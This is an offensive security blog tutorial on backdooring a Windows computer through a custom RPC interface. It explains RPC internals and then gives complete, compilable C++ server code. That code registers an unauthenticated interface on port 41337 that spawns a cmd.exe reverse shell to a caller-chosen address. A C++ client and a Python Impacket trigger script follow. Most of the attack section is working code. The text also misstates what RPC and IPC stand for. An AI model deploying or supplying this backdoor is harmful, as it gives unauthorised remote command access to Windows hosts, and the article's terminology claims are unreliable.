In this article I will present how it is possible to backdoor a computer using RPC. To do so it will be necessary to have a general overview of:

  • How RPC works (internally and network)
  • How to create a RPC interface
  • How to weaponize the all thing

This is going to be quite a difficult article to read but I’ll try to be as clear as possible. If you still have a question about this article, feel free to contact me on twitter :) !

I/ What is RPC ?

So first of all what is RPC ? RPC stands for Remote Privilege Call. It is a part of the IPC (Internal Procedure Call) and it relies on a client/server architecture. The overall idea with RPC is that you can write applications that will be able to execute code localy but also remotely. So why would you need that? Well the easiest way to explain what RPC would be used for is to give the following example.
Imagine that you have got a server that has 25G6b of RAM and 10 graphic card. This server would be very usefull if you need to crack hashes because of the computing power it has.

What you could do as a lazy hacker would be to implement a RPC interface, let’s call it hashCracker, that takes two arguments:

  • The hash to crack
  • The format of the hash (md5, sha1, whatever…)

Once the RPC interface is up, we only have to send it the hash and the format and we’ll get the output (the password):

Basic RPC interface

That is an overview of how RPC works. What is interesting there is that with RPC you, as a developer, won’t have to deal with the network input/output nor with the TCP stack. Everything network related is handled by a component and a set of WinAPI calls that we will talk about in a few minutes.

II/ How does RPC work ?

The following schema summaries what RPC can be used for in a more accurate way:

Basic RPC interface

As you can see the client as well as the server has the same function which is hashCracker(). Both of them also have a stub which is the component that is responsible for managing the RPC communications. As you may guess, communicating over RPC is not as simple as sending a TCP request. For the communications to be successful, the client and the server needs to know in advance the type of data they send/receive so that they can properly use them. Later we will see what a client/server stub look like and mostly how to declare them.

But before doing so, how can we list the RPC interfaces exposed by a computer. Well in Windows there is a componentn that is called the RPC Endpoint Mapper or epmapper. This componentn is a service running with the Network System account

Basic RPC interface

This service is started automatically and can not be stopped. If you try to you will break a lot of internal services which may end up in your computer either crashing or not being able to boot anymore. If the epmapper is such an important component it is because he is the one in charge of exposing RPC interfaces. These interfaces are exposed on port 135 and are mostly accessible from a non authenticated client.

So there is already a tool to list these interface, personally I use the rpcdump.py tool from the Impacket library:

python3 rpcdumpy.py 192.168.0.23

And here is an extract of the output:

Basic RPC interface

As you can the following interface is related to the Security Account Manager. So this is a service that allows you to, for example, access the lsa policy which would be useful in an internal pentest assessment if you wanted to launch a bruteforce attack. So a RPC interface is composed of:

  • A protocole: which will be used to communicate over the RPC. They are 3 supported protocoles that may be used with differents endpoints:
    • NCACN (Network Computing Architecture CoNnection oriented protocol):
      • ncacn_ip_tcp: RPC from a TPC connection
      • ncacn_np: RPC from a named pipe (SMB)
      • ncacn_http: RPC from a HTTP connection
      • ncalrpc: access from LCP (Local Procedure Call)
    • NCADG (Network Computing Architecture Datagrame Protocol):
      • ncadg_ip_udp: RPC from UDP connection
      • ncadg_ipx: RPC from IPX connection
    • NCALRPC (Network Computing Architecture Local Remote Procedure)
  • A provider: which is the PE binary (EXE or DLL) that is exposing the RPC interface (in this case this is samsrv.dll)
  • An UUID: which stands for Universale Uniq Identifiers. This is a 32 characters ID that is used to identify an object in the Windows system.
  • A binding handle.

A binding handle is a structure that contains informations about the binding process. So basically when you are connected to a RPC server you will still have to bind to an interface. This process of binding will create a logical connection between your RPC client and the RPC server whose informations will be stored in the binding handle. You may have heard of the binding process when it comes to LDAP. Indeed in the same way you need to bind to the LDAP before you can access and sometimes the bind is anonymous (or aunauthenticated) which will allow you to access the LDAP bsae content. The binding handle is important because this is with it that you will be able to authenticate if required by the RPC server. There are three types of binding handles but once again we will talk about them later.

If we take a look to the extract of the RPC epmapper:

Basic RPC interface

We can see that it is possible to communicate with the SAM process using:

  • ncacn_ip_tcp: a TCP onnection to 192.168.0.24
  • ncalrpc: a LPC
  • ncacn_np: a name pipe

Concerning the ncacn_ip_tcp we can that the epmapper is proposing the IP address on which the RPC interface is listening as a number which is 49664. This number is in fact the port on which the interface is exposed. As i said, the port 135 is the port on which the epmapper is listening. It is only used to map the differents interfaces et indicate the client where they are located. So obviously if we try to launch a nmap scan on port 49664 we will see that the port is open:

Basic RPC interface

For information, the Windosw operating system exposes RPC interfaces on TCP/1024+ for Windosw2003 et 49152+ for others operating system. As you will se later it is possible to set our own listening port to the one we desire and it is also possible modify the port ranges used by default using the following documentation.

So now that we know these informations, th eonly thing we need to understand is how a programme is able to communicate over RPC. The following schema summaries this process:

RPC complete schema

  1. The client program calls client stub and send it the parameters required by the RPC function.
  2. The client stub serializes this data into a complexe data structure that will be passed to the RPC runtime.
  3. The RPC runtime is the main orchestrator. This is the component that will take care of the transport as well as the cyphering of the data. It’s only purpose is to make sure that the data arrive to the remote RPC.
  4. The server stub deserializes the data and pass them to the server code.
  5. The server code executes the fonction and return the results

Networkly speaking here are the packets send for one call:

RPC communications from wireshark

The first request is a bind request. We can see this request contains context_itmes in which we can see the UUID of the interface we wish to contact:

ab4ed934-1293-10de-bc12-ae18c48def33

Next there is the answer which says “Acceptance” meaning the binding was successful and finally we have the request in which our data is packed and send to the server. If we take look at this packet in details we can the data stub which the following:

RPC data stub

As you can see this data is packed in a specific format that the server is able to deserialize and treat.

So now we know everything we need to know about how RPC works. The next step will be to write our own interface and weaponize it.

III/ Building a RPC interface

The first thing we need to do is to define our interface. The goal of our interface will be to send us a reverse shell so we will need two parameters which are :

  • An IP address
  • A port

Before going into the code we need to define a IDL file which respects the MIDL (Microsoft Interface Definition Language). MIDL is a little bit like a C header file that contains the definition of a RPC interface. This is the IDL file we will end up with for the rest of this article:

[
   uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33),
   version(1.0),
   implicit_handle(handle_t ImplicitHandle)
]
interface RemotePrivilegeCall
{
   void SendReverseShell(
      [in, string] const char* ip_address,
	  [in] short port
	  );
}

As you can a IDL file is composed of two parts. The first one is the MIDL interface header:

[
   uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33), // UUID of the interface
   version(1.0),                               // Specify that this is the version 1.0 of the interface
   implicit_handle(handle_t ImplicitHandle)    // Declare an implicit handle
]

It contains the UUID of the interface, its version and the type of binding handle to use. Previously i told you there are three types of binding handle. They are the following:

  • Explicit handle
  • Implicit handle
  • Automatic handle

The difference between these types of handles is that they do not offer the same type of control over it. The following schema taken form the Microsoft documetation explains the major differences:

RPC hadle differences

So which handle should I use ? Well the documentation says the best pratice is to use explicit handles. The reason why they say so is because implicit and automatic handles are not thread safe. While doing my research I also realised that the automatic handle are deprecated so we are going to use implicit handles. However for those of you interested in seing what an interface with an explicit handle looks like I will put the code on the github repo linked to this article as well!

The next part of the IDL file is the MIDL interface body which contains the defiction of the functions of our RPC interface:

interface RemotePrivilegeCall
{
   void SendReverseShell(
      [in, string] const char* ip_address,
	  [in] short port
	  );
}

As I told you before, it looks like a standard C function prototype. The only difference is that we can use multiple keywords such as in, out or even string. The in keywords implies that the parameters is to be sent to the RPC interface, the out parameter means that the function will return a value and the string keyword means that the parameter is a string terminated by a \x00 character. There are others keyword that we can use but we won’t need them for the moment.

Now that our interface is defined we will need to translate it into a C code. To do so we will use a binary called midl.exe with the following command:

midl.exe /app_config RemotePrivilegeCall.idl

If everything went well (which should be the case), you will get three files:

  • One client stub (RemotePrivilegeCall_c.c)
  • One server stub (RemotePrivilege_s.c)
  • One header included in each stubs

RPC MIDL output

Next we will have to write the code of the server program. In order to set up a RPC interface we will use a few functions from the WinAPI. These functions are:

  1. RpcServerUseProtseqEp: in which we will specify the endpoint and a few options
  2. RpcServerRegisterIf2: allows us to register the interface with the RPC run time library
  3. RpcServerInqBindings: retrives the binding handle
  4. RpcEpRegister: register the interface to the epmapper
  5. RpcServerListen: launch the interface

Here is the commented code for the server program:

#include <iostream>
#include "RemotePrivilegeCall.h"
#include <windows.h>
// Links the rpcrt4.lib that exposes the WinAPI RPC functions
#pragma comment(lib, "rpcrt4.lib")
// Links the ws2_32.lib which contains the socket functions
#pragma comment(lib, "ws2_32.lib")

// Function that sends the reverse shell
void SendReverseShell(const unsigned char* ip_address, short port){
	WSADATA wsaData;
	SOCKET s1;
	struct sockaddr_in hax;
	char ip_addr[16];
	STARTUPINFO sui;
	PROCESS_INFORMATION pi;

	WSAStartup(MAKEWORD(2, 2), &wsaData);
	s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
	    (unsigned int)NULL, (unsigned int)NULL);

	hax.sin_family = AF_INET;
	hax.sin_port = htons(port);
	hax.sin_addr.s_addr = inet_addr(reinterpret_cast<const char*>(ip_address));

	WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

	memset(&sui, 0, sizeof(sui));
	sui.cb = sizeof(sui);
	sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
	sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;

	TCHAR commandLine[256] = L"cmd.exe";
	CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
}

// Security callback function
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE Interface, void* pBindingHandle){
    return RPC_S_OK; // Whoever binds to the interface, we will allow the connection
}

int main()
{
    RPC_STATUS status; // Used to store the RPC function returns
	RPC_BINDING_VECTOR* pbindingVector = 0;

   // Specify the Rpc endpoints options
   status = RpcServerUseProtseqEp(
      (RPC_WSTR)L"ncacn_ip_tcp",      // Endpoint to contact
      RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Default value
      (RPC_WSTR)L"41337",             // Listening port 
      NULL);                          // Pointer to a security context (we don't care about that)

   // Register the interface to the RPC runtime
   status = RpcServerRegisterIf2(
      RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h
      NULL,                                // UUID to bind to (NULL means the one from the MIDL file)
      NULL,                                // Interface to use (NULL means the one from the MIDL file)
      RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function
      RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Numbers of simultaneous connections
      (unsigned)-1,                        // Maximum size of data block received 
      SecurityCallback);                   // Name of the function that acts as the security callback

	// Register the interface to the epmapper
	status = RpcServerInqBindings(&pbindingVector);
	status = RpcEpRegister(
		RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h
		pbindingVector,                      // Structure contening the binding vectors
		0,                                   // 
		(RPC_WSTR)L"Backdoor RPC interface"  // Name of the interface as exposed on port 135    
		);

	// Launched the interface
   status = RpcServerListen(
     1,                                   // Minimum number of connections
     RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Maximum number of connetions
     FALSE);                              // Starts the interface immediately
}

// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size)
{
    return malloc(size);
}

// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p)
{
    free(p);
}

Next, we will compile the code. For the RPC server to work correctly we will have to compile both the server programm and the server stub:

cl.exe /D UNICODE /EHsc Server.cpp RemotePrivilegeCall_s.c

Then we can run it:

Server.exe

Let’s enumerate the epmapper with rpcdump.py:

python3 rpcdump.py 192.168.0.23

RPC MIDL output

Perfect! Last thing to do is to write the client part. We will use the following functions from the WinAPI:

  1. RpcStringBindingCompose: which will be used to create the binding string
  2. RpcBindingFromStringBinding: which will be used to validate the binding string

Here is the fully commented client code:

#include <iostream>
#include "RemotePrivilegeCall.h"
#include <windows.h>
// Links the rpcrt4.lib which exposes the WinAPI RPC functions
#pragma comment(lib, "rpcrt4.lib")

int main()
{
   RPC_STATUS status;               // Used to store the RPC functions returns
   RPC_WSTR szStringBinding = NULL; // Stores the string binding

   // Creates the binding string
   status = RpcStringBindingCompose(
      NULL,                      // UUID of the interface to bind to
      (RPC_WSTR)L"ncacn_ip_tcp", // TCP endpoint
      (RPC_WSTR)L"192.168.0.44", // IP address of the remote server
      (RPC_WSTR)L"41337",        // Port on which the interface is listening
      NULL,                      // Network protocole to use
      &szStringBinding);         // Used to store the binding string.

   // Validates the binding string
   status = RpcBindingFromStringBinding(
      szStringBinding,      // Binding string to validate
      &ImplicitHandle);     // Stores the results in the binding handle

   RpcTryExcept
   {
      // Calls the SendReverseShell function
      SendReverseShell(
		reinterpret_cast<unsigned char*>("192.168.0.23"),
		4444
	  );
   }
   RpcExcept(1)
   {
      std::cerr << "Runtime reported exception " << RpcExceptionCode()
                << std::endl;
   }
   RpcEndExcept

   // Frees the memory allocated to the binding string
   status = RpcStringFree(&szStringBinding);

   // Disconnects from the binding
   status = RpcBindingFree(&ImplicitHandle); 
}

void* __RPC_USER midl_user_allocate(size_t size)
{
    return malloc(size);
}

// Fonction permettant de désallouée la mémoire de l'interface RPC
void __RPC_USER midl_user_free(void* p)
{
    free(p);
}f

Let’s compile the client:

cl.exe /D UNICODE /EHsc Client.cpp RemotePrivilegeCall_c.c

And launch it while having a listening netcat:

Client.exe

RPC first shell

Here is our shell!

At first I thought that it was done. I had everything to backdoor a computer using a RPC server. However I am too lazy to spin up a Windows VM to launch the binary Client.exe. What I wanted to then was to write a python script that would act as a client. I knew that I could base my script on the Impacket library so i thought it would be easy.

Damn it was I wrong… The main reason it took me more than a week to write the script is that with python, there is no client stub which means there is nothing that will pack the data to be sent. What that means is that I had to make the packing part myself.

So the first thing I did was to take a look at what the Impacket library looks like. This is how you can connect to a RPC interface using the library:

 import argparse
 from impacket.structure import Structure
 from impacket.uuid import uuidtup_to_bin
 from impacket.dcerpc.v5 import transport
 from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.dcerpc.v5.transport import DCERPCTransportFactory

 # Casts the string into a valid UUID
 interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0") )
 # Create the binding string
 stringBinding = r'ncacn_ip_tcp:{}[135]'.format(target_ip)
 # Creates the transport medium form the binding string
 transport = DCERPCTransportFactory(stringBinding)
 # Setting the remote port, remote host and a timeout just in case
 transport.set_dport(port)
 transport.setRemoteHost(target_ip)
 transport.set_connect_timeout(10000)
 dce = transport.get_dce_rpc()
 
 print("[*] Connecting to the remote target")
 # Connects to the remote server
 dce.connect()
 print("[*] Binding to AB4ED934-1293-10DE-BC12-AE18C48DEF33")
 # Binds to the interface
 dce.bind(interface_uuid)

So basically what the code does is that it take a UUID as well as the version of the interface and create a UUID object. Then it creates the string binding (which would have been done by the RpcStringBindingCompose function from the WinAPI. Then it creates a transport medium, sets the port/IP on which the RPC is located and connects to it. Finally it will bind the specific interface.

And here comes the difficult part… The packing part which is done by the client stub is located in the following file https://github.com/SecureAuthCorp/impacket/blob/master/impacket/structure.py

So basically what we need to do is to call the Structure class and pack the data using the correct packing_format string:

class SendReverseShell(Structure):
	structure = (
	    ('ip_address', packing_format),
	    ('port', packing_format)
	)

Here is the list of specifiers available

RPC first shell

According to the definition of the RPC interface the following struct should have worked:

 # < means that we will pack data into the little endian formatm
 # s is the specifiyer for the string type
 # h is the specifier for the short type

 structure = (
      ('ip_address', <13s), # 192.168.0.23\x00 (total length is 13)
      ('port', "<xh")       # 4444
 )  

Even tho I was using the correct specifiers I wasn’t able to send the stub in a correct way which resulted in the RPC server to send me the following error: rpc_x_bad_stub_data (error code 0x000006F7).

So how did I make things work ? Well one of my friends from work gave me a good advice which I should have thought immediately… This advice was to use Wireshark. Obviously… So I opened Wireshark and took a look at what the data stub looked like when it was sent by the client that was written in C++ and here is what i found:

RPC correct stub

What are these bytes ??

0D000000000000000D000000

To be honest I still don’t know where they came from. I believe this is related to the BIND_TIME_FEATURE_NEGOCIATION_PREFIX but I am still not able to prouve it.

I guess you got that by now but I’m a lazy hacker so instead of finding where these bytes came from I just padded them into the data stub. And this is what it looked like:

 # < means that we will pack data into the little endian formatm
 # s is the specifiyer for the string type
 # h is the specifier for the short type

 structure = (
 	  ('unknown', '<12s'),  # Yeah fuck this x)
      ('ip_address', <13s), # 192.168.0.23\x00 (total length is 13)
      ('port', "<xh")       # 4444
 )  

And here is the final python script that I used to trigger the RPC:

import argparse
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory

parser = argparse.ArgumentParser()
parser.add_argument("-rip", help="Remote computer to target", dest="target_ip", type=str, required=True)
parser.add_argument("-rport", help="IP of the remote procedure listener", dest="port", type=int, required=True)
parser.add_argument("-lip", help="Local IP to receive the reverse shell", dest="lip", type=str, required=True)
parser.add_argument("-lport", help="Local port to receive the reverse shell", dest="lport", type=int, required=True)

args = parser.parse_args()
target_ip = args.target_ip
port = args.port
lip = args.lip
lport = args.lport

class SendReverseShell(Structure):
    global lip
    global lport
    print(lip, lport)
    format_ip = f"<{len(lip) + 1}s"
    structure = (
        # Yeah fuck this x)
        ('unknown', '<12s'),
        # <(Size of ip address + \x00)s
        ('ip_address', format_ip),
        # <5 - (Size of len(port)xh
        ('port', "<xh")
    )

# Casts the string into a valid UUID
interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0") )
# Create the binding string
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(target_ip)
# Creates the transport medium form the binding string
transport = DCERPCTransportFactory(stringBinding)
# Setting the remote port, remote host and a timeout just in case
transport.set_dport(port)
transport.setRemoteHost(target_ip)
transport.set_connect_timeout(10000)
dce = transport.get_dce_rpc()

print("[*] Connecting to the remote target")
# Connects to the remote server
dce.connect()
print("[*] Binding to AB4ED934-1293-10DE-BC12-AE18C48DEF33")
# Binds to the interface
dce.bind(interface_uuid)

print("[*] Formatting the client stub")
# Create the client stub and pack its data so it valid
query = SendReverseShell()
query['unknown'] = '\x0d\x00\x00\x00\x00\x00\x00\x00\x0d\x00\x00\x00'
query['ip_address'] = f"{lip}\x00"
query['port'] = lport
print("[*] Triggering the remote procedure")
try:
    # Call the function number 0 and pass the client stub
    dce.call(0, query)
    # Trying to read the answer, if we can then it's ok
    # if we can't then the client stub is not correct
    dce.recv()
except Exception as e:
    print(f"[!] ERROR: {e}")
    dce.disconnect()
print("[*] RPC triggered, disconecting from the server")
# Disconnecting from the remote target
dce.disconnect()

And once again I was able to get a shell:

RPC ptyhon client

Mischief Managed ;) !